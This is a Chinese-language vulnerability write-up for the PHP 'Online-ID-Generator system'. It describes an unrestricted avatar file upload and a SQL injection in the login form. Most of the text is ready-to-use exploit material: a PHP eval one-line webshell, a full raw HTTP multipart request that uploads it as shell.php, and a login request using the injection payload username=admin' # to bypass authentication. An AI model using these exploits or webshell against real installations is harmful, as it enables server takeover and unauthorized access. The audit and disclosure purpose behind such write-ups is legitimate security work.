ID_GenCMS代码审计小计

产品描述

Online-ID-Generator system是一款使用PHP语言开发的一ID生成器管理系统，是一款基于代码生成器的低代码开发平台！基于apahhe、php和mysql运行，既能快速提高效率，节省研发成本，同时又不失灵活性！Online-ID-Generator system 存在文件上传漏洞，攻击者通过文件上传获取服务器控制权限。

配置CMS

环境

• phpstudy->apache->mysql5.0
• php=7.3.4

下载源码。创建数据库，加载sql文件

执行sql文件

在数据库配置文件中配置数据库

测试连接

http://localhost/id_generator/admin/login.php

登录

代码审计

文件上传

/id_generator/admin/generate/user/index.php 80行

81行前端上传了文件

/id_generator/admin/generate/index.php 89行

89行displayImg方法定义了上传的文件名，文件上传时对文件类型没有做限制导致了文件上传漏洞的产生。

SQL注入

后台登录

定位到代码路径classes\Login.php

在POST登录的时候单引号闭合造成SQL注入。

漏洞详情

http://localhost/id_generator/admin/?page=user

文件上传位置为用户个人管理的头像上传的位置

这里直接上传php文件，上传一句话木马

<?php @eval($_POST[‘a’]);?>

上传成功后查看用户头像地址访问

执行命令获取shell权限

EXP：

POST /id_generator/classes/Users.php?f=save HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------162389942313168236523965237214
Content-Length: 3089
Origin: http://localhost
Connection: close
Referer: http://localhost/id_generator/admin/?page=user
Cookie: PHPSESSID=t8pob1rmot854p2icruqud59r5
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
-----------------------------162389942313168236523965237214
Content-Disposition: form-data; name="id"
1
-----------------------------162389942313168236523965237214
Content-Disposition: form-data; name="firstname"
Adminstrator
-----------------------------162389942313168236523965237214
Content-Disposition: form-data; name="lastname"
Admin
-----------------------------162389942313168236523965237214
Content-Disposition: form-data; name="username"
admin2
-----------------------------162389942313168236523965237214
Content-Disposition: form-data; name="password"
-----------------------------162389942313168236523965237214
Content-Disposition: form-data; name="img"; filename="shell.php"
Content-Type: application/octet-stream
<?php @eval($_POST['a']);?>
-----------------------------162389942313168236523965237214--

注入

EXP如下：

POST /id_generator/classes/Login.php?f=login HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 25
Origin: http://localhost
Connection: close
Referer: http://localhost/id_generator/admin/login.php
Cookie: PHPSESSID=stdfo94pr85307h6mld63hngm4
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

username=admin' #&password=0